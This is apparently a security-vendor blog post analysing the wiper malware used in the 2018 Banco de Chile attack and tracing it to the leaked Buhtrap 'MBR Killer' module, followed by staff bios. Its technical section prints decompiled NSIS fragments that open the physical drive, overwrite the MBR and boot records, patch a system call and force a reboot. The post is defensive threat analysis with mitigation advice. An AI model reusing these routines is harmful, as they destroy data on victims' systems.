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Josh Lefkowitz
Chief Executive Officer
Josh Lefkowitz executes the company’s strategic vision to empower organizations with Business Risk Intelligence (BRI). He has worked extensively with authorities to track and analyze terrorist groups. Mr. Lefkowitz also served as a consultant to the FBI’s senior management team and worked for a top tier, global investment bank. Mr. Lefkowitz holds an MBA from Harvard University and a BA from Williams College.
Evan Kohlmann
Chief Innovation Officer
Evan Kohlmann focuses on product innovation at Flashpoint where he leverages fifteen years’ experience tracking Al-Qaida, ISIS, and other terrorist groups. He has consulted for the US Department of Defense, the US Department of Justice, the Australian Federal Police, and Scotland Yard’s Counter Terrorism Command, among others. Mr. Kohlmann holds a JD from the Univ. of Pennsylvania Law School and a BSFS in International Politics from the Walsh School of Foreign Service at Georgetown Univ.
Josh Devon
Chief Operating Officer / VP Product
Josh Devon focuses on product vision and strategy at Flashpoint while ensuring the company’s departments function synergistically during its rapid growth. He also works to ensure that customers receive best in class products, services, and support. Previously, Mr. Devon co-founded the SITE Intelligence Group where he served as Assistant Director. He holds an MA from SAIS at Johns Hopkins Univ. At the Univ. of Pennsylvania, he received a BS in Economics from the Wharton School and a BA in English from the College of Arts and Sciences.
Jennifer Leggio
Chief Marketing Officer / VP Operations
Jennifer Leggio is responsible for Flashpoint’s marketing, customer acquisition, and operations. Ms. Leggio has more than 20 years of experience driving marketing, communications and go-to-market strategies in the cybersecurity industry. She’s previously held senior leadership roles at Digital Shadows, Cisco, Sourcefire, and Fortinet. She’s been a contributor to Forbes and ZDNet, and has spoken on the importance of coordinated disclosure at DEF CON and Hack in the Box, and on threat actor “publicity” trends at RSA Conference, Gartner Security Summit, and SXSW Interactive.
Chris Camacho
Chief Strategy Officer
Chris Camacho partners with Flashpoint’s executive team to develop, communicate, and execute strategic initiatives pertaining to Business Risk Intelligence (BRI). With over 15 years of cybersecurity leadership experience, he has spearheaded initiatives across Operational Strategy, Incident Response, Threat Management, and Security Operations to ensure cyber risk postures align with business goals. Most recently as a Senior Vice President of Information Security at Bank of America, Mr. Camacho was responsible for overseeing the Threat Management Program. An entrepreneur, Mr. Camacho also serves as CEO for NinjaJobs: a career-matching community for elite cybersecurity talent. He has a BS in Decision Sciences & Management of Information Systems from George Mason University.
Lisa Iadanza
Chief People Officer
Lisa M. Iadanza leads all functional areas of People Operations at Flashpoint, including human resources, talent acquisition & management, employee engagement, and developing high performance teams. In addition to collaborating with the executive team to drive strategic growth, she plays an integral role in fostering Flashpoint’s culture and mission. Driven by her passions for mentorship, employee advocacy, and talent development, Ms. Iadanza has more than twenty years of experience in building, scaling, and leading human resources functions. Prior to Flashpoint, she held leadership roles at Conde Nast, Terra Technology, and FreeWheel. She is a member of the Society for Human Resources Management (SHRM) and holds a bachelor’s degree in management with concentrations in human resources and marketing from State University of New York at Binghamton.
Lance James
Chief Scientist / VP Engineering
Lance James is responsible for leading Flashpoint’s technology development. Prior to joining Flashpoint in 2015, he was the Head of Cyber Intelligence at Deloitte & Touche LLP. Mr. James has been an active member of the security community for over 20 years and enjoys working creatively together with technology teams to design and develop impactful solutions that disrupt online threats.
Brian Costello
SVP Global Sales and Solution Architecture
Brian Costello, a 20-year information technology and security solutions veteran, is responsible for leading the Global Sales, Solution Architecture, and Professional Services teams at Flashpoint. Throughout his career, Brian has successfully built security and cloud teams that have provided customers with innovative technology solutions, exceeded targets and consistently grown business year over year. Prior to Flashpoint, Brian led a global security and cloud vertical practice for Verizon. Brian also held senior leadership roles at Invincea, Risk Analytics and Cybertrust. Brian received his B.A. from George Mason University.
Tom Hofmann
VP Intelligence
Tom Hofmann leads the intelligence directorate that is responsible for the collection, analysis, production, and dissemination of Deep and Dark Web data. He works closely with clients to prioritize their intelligence requirements and ensures internal Flashpoint operations are aligned to those needs. Mr. Hofmann has been at the forefront of cyber intelligence operations in the commercial, government, and military sectors, and is renowned for his ability to drive effective intelligence operations to support offensive and defensive network operations.
Jake Wells
VP Customer Success
Jake Wells leads the company’s customer success team, serving as an internal advocate for our government and commercial clients to ensure Flashpoint’s intelligence solutions meet their evolving needs. He leverages a decade of experience running cyber and counterterrorism investigations, most recently with the NYPD Intelligence Bureau, to maximize the value customers generate from our products and services. Mr. Wells holds an MA from Columbia University and a BA from Emory University.
Brian Brown
VP Business Development
Brian Brown is responsible for the overall direction of strategic sales and development supporting Flashpoint’s largest clients. In his role, Mr. Brown focuses on designing and executing growth-oriented sales penetration strategies across multiple vertical markets, including both Government and Commercial, supporting Flashpoint’s Sales and Business Development Teams. An experienced entrepreneur, Mr. Brown also serves as CSO for NinjaJobs, a private community created to match elite cybersecurity talent with top tier global jobs and also advise growth-stage cybersecurity companies.

Banco de Chile ‘MBR Killer’ Reveals Hidden Nexus to Buhtrap Malware Kit Used to Target Financial Institutions, Payment Networks

Blog
June 12, 2018

Wiper malware that may have destroyed as many as 9,000 workstations and 500 servers inside the Banco de Chile in a late-May attack has similarities to the Buhtrap malware component known as MBR Killer, leaked to the underground in February 2016.

Analysts at Flashpoint reverse-engineered the identified malware linked to the May 24 attack against the country’s largest financial institution, and said the malware is a modified version of a MBR Killer module known as kill_os. MBR Killer infections render the local operating system and the Master Boot Record unreadable.

According to bank officials, however, the wiper malware was just cover for a deeper attack against endpoints handling sensitive transactions and messaging over the SWIFT network. The SWIFT banking network, or the Society for Worldwide Interbank Financial Telecommunication, is the primary means of secure, reliable communications and money transfers between financial institutions.

On Sunday, Banco de Chile general manager Eduardo Ebensperger said in a statement that customer accounts were not affected, but critical processes such as branch services and telephone banking were impacted, as were executive offices and cashier personnel. Ebensperger told Chilean media outlet Pulso that $10 million was stolen and the stolen funds were filtered to entities in Hong Kong. He added that a forensic analysis conducted by Microsoft concluded this was an “international attack” and attributed it to either Eastern European or Asian groups.

Buhtrap malware and its components, including MBR Killer, were previously used in attacks against multiple Russian financial institutions, resulting in losses of 97 million rubles, or $1.23 million USD. The attacks in Russia forced one bank to disconnect from the Russian electronic payment system.

The attack in Chile comes on the heels of incidents affecting several banks in Mexico that use its Sistema de Pagos Electrónicos Interbancarios (SPEI) interbank transfer system, resulting in approximately $15.4 million USD in losses. In January, Flashpoint was aware of a separate malware attack targeting Mexican financial institutions that followed a pattern similar to previous attacks, with possible attribution to North Korean malware. Flashpoint was not able to analyze the malware targeting Mexican financial institutions, though the FBI associated the attack with North Korean malware. A report from El Financiero, a Mexican financial publication, following the January incident identified the attack as “FALLCHILL,” a North Korean remote administration tool (RAT) targeting aerospace, telecommunications, and financial organizations.

At this time, there does not appear to be a connection between attacks against Mexico’s banking institutions and the purported attack on Banco de Chile because the tactics, techniques, and procedures (TTP) used by the threat actors differ.

The similarities between the malicious code used in Chile and the leaked code from 2016 are in the use of the same NSIS script, below, in both instances. NSIS, or Nullsoft Scriptable Install System, is an open source system used to build Windows installers.

The leaked Buhtrap code contains almost identical Nullsoft Scriptable Install System (NSIS) script as the unpacked Banco de Chile malware.
The leaked Buhtrap code contains almost identical Nullsoft Scriptable Install System (NSIS) script as the unpacked Banco de Chile malware.

By and large, the Buhtrap malware is complex and includes more than a dozen modules that give attackers the capability to install more malicious code, retain remote control over a compromised machine, and steal credentials among others. A list of available modules follows:

• “BHO”: a module designed to intercept and replace pages in the Internet Explorer browser.

• “kill_os”: a module designed to erase the MBR.

• “Loaders”: builders of NSIS scripts designed to install malware.

• “Mimimod”: a modified version of the “Mimikatz” program, used to obtain user credentials in the system.

• “ID”: an algorithm for obtaining the unique number of the infected machine.

• “BSShide”: a module designed to hide payment orders in the Business Support Systems (BSS). It modifies the page displayed to the user. SWIFT is part of the BSS.

• “Antidetekt”: a module designed to detect virtual environments and “sandboxes.”

• “UAC”: a module to bypass the User Account Control (UAC) protection.

• “RDP”: modifies the OS for the potential simultaneous operation of several users in the system.

• “VNC”: remote PC control with backconnect.

• “DLL Side-Loading”: used to install a keylogger and to provide communication with the control panel. Enables installation and operation of other modules in the system.

• “Control panel”: used to maintain visibility into infections and install additional modules to the infected host.

• “Builder”: a program designed to collect Trojan modules in one executable file.

• “MWI”: a collection of exploits, part of the “Microsoft Word Intruder” tool that was available on underground.

The Banco de Chile MBR Killer was also packed with VMProtect, meant to protect against forensic analysis and reverse engineering. Notably, the malware does not target victims based on locale or language; however, a Spanish language and locale check is present in the malware. The attribution behind the Banco de Chile attack remains uncertain; it is unclear if this code was simply reused by a copycat group or linked to the original group behind the Buhtrap malware. Originally, the kill_os module was leveraged to hide the evidence of successful bank network penetrations.

Banco De Chile: Malware Technical Analysis

The malware is packed with VMProtect/NSIS, and is executed via the System.dll in %TEMP%.

I. Main loop CreateFile API accessing \\\.\PHYSICALDRIVE0:

Function main_loop_CreateFile
    IntFmt $1 “\\.\PHYSICALDRIVE%D” $0
    Push $0
    StrCpy $0 $1
    System::Call “KERNEL32::CREATEFILE(t, i, i, i, i, i, i) i (‘$0’, ${GENERIC_READ}|${GENERIC_WRITE}, ${FILE_SHARE_READ}|${FILE_SHARE_WRITE}, ${NULL}, ${OPEN_EXISTING}, ${FILE_ATTRIBUTE_NORMAL}, ${NULL}) .r2”
    Pop $0
FunctionEnd

II. Master boot record setup:

!define
STMBR
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i2) i’

III.MBR logical block addressing:

!define
STMBRLBA
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i2) i’

IV. Volume boot record NTFS:

!define
STVBR_NTFS
‘(&i3, &i8, &i2, &i1, &i2, &i24, &i8, &i8, &i8, &i4) i’

V. Process NTFS boot:

Overwrite MBR
Overwrite Master File Table (MFT) mirror
Overwrite Volume Boot Record (VBR) mirror
Overwrite Extended Boot Record (EBR)
The following system API calls are used to overwrite the system:

${ForEach} $7 1 ${OVERWRITE_COUNT} + 1
    System::Call “kernel32::SETFILEPOINTER(i, i, *p ,i) i (r2, r4, r3, ${FILE_BEGIN}) .r8”
    ${If} $8 <> -1
System::Call “kernel32::WRITEFILE(i, i, i, p, i) i (r2, r5, r9, r6, ${NULL})”
System::Call “kernel32::FlushFileBuffers(i) i (r2)”
    ${EndIf}

VI. Process protection malware from shutdown:

System::Call “KERNEL32::GETMODULEHANDLE(t) p (‘ntdll.dll’) .r0”
${If} $0 <> ${NULL}
    System::Call “KERNEL32::GETPROCADDRESS(p, t) p (r0, ‘ZwClose’) .r1”
    ${If} $1 <> ${NULL}
System::Call “KERNEL32::VIRTUALPROTECT(p, i, i, *i) i (r1, 6, ${PAGE_EXECUTE_READWRITE}, .r2) .r0”
${If} $0 <> 0
    System::Alloc 6
    pop $3
    System::Call “NTDLL::MEMCPY(p, p ,i) i (r3, r1, 6)”
    System::Call “NTDLL::MEMCPY(p, t, i) i (r1, t ‘1′, 6)”
    System::Call “KERNEL32::CLOSEHANDLE(i) i (0x12345678) .r4”
    System::Call “NTDLL::MEMCPY(p, p, i) i (r1, r3, 6)”
    System::Free $3

VII. System shutdown instruction:

ExitWindowsEx_EWX_REBOOT_
    Push $1
    StrCpy $1 ${EWX_REBOOT}|${EWX_FORCE}
    System::Call “USER32::EXITWINDOWSEX(i, i) i ($1, ${SHTDN_REASON_MAJOR_SOFTWARE}|${SHTDN_REASON_MINOR_UPGRADE}) i .r0”
    Pop $1
FunctionEnd

Possible action:

As the MBR Killer codebase was identical with minor modification to the Buhtrap simple MBR Killer, reviewing any mitigation against the Buhtrap malware might assist with mitigation exposure to this threat.
Review and mitigate for any malware execution from %TEMP% directory specifically if it calls “System.dll.”

To download the MBR Killer indicators of compromise (IOCs), click here.

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Ian W. Gray

Senior Intelligence Analyst

Ian W. Gray is a Senior Intelligence Analyst at Flashpoint, where he focuses on producing strategic and business risk intelligence reports on emerging cybercrime and hacktivist threats. Ian is a military reservist with extensive knowledge of the maritime domain and regional expertise on the Middle East, Europe, and South America. As a Veteran Volunteer, Ian supports The Homefront Foundation, a non-profit that helps veterans and first responders share their experiences through focused story-telling workshops. His insights and commentary have been featured in publications including Wired, Christian Science Monitor Passcode, ThreatPost, TechTarget, The Washington Examiner, Cyberscoop, The Diplomat, and others. He holds a bachelor’s degree in Middle Eastern Studies from Fordham University and a Master of International Affairs degree from Columbia University.

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Vitali Kremez

Director of Research

Vitali Kremez is a Director of Research at Flashpoint. He oversees analyst collection efforts and leads a technical team that specializes in researching and investigating complex cyber attacks, network intrusions, data breaches, and hacking incidents. Vitali is a strong believer in responsible disclosure and has helped enterprises and government agencies deliver indictments of many high-profile investigations involving data breaches, network intrusions, ransomware, computer hacking, intellectual property theft, credit card fraud, money laundering, and identity theft. Previously, Vitali enjoyed a rewarding career as a Cybercrime Investigative Analyst for the New York County District Attorney’s Office.
He has earned the majority of certifications available in the information technology, information security, digital forensics, and fraud intelligence fields. A renowned expert, speaker, blogger, and columnist, Vitali has contributed articles to Dark Reading, BusinessReview, and Infosecurity Magazine and is a frequent commentator on cybercrime, hacking incidents, policy, and security.

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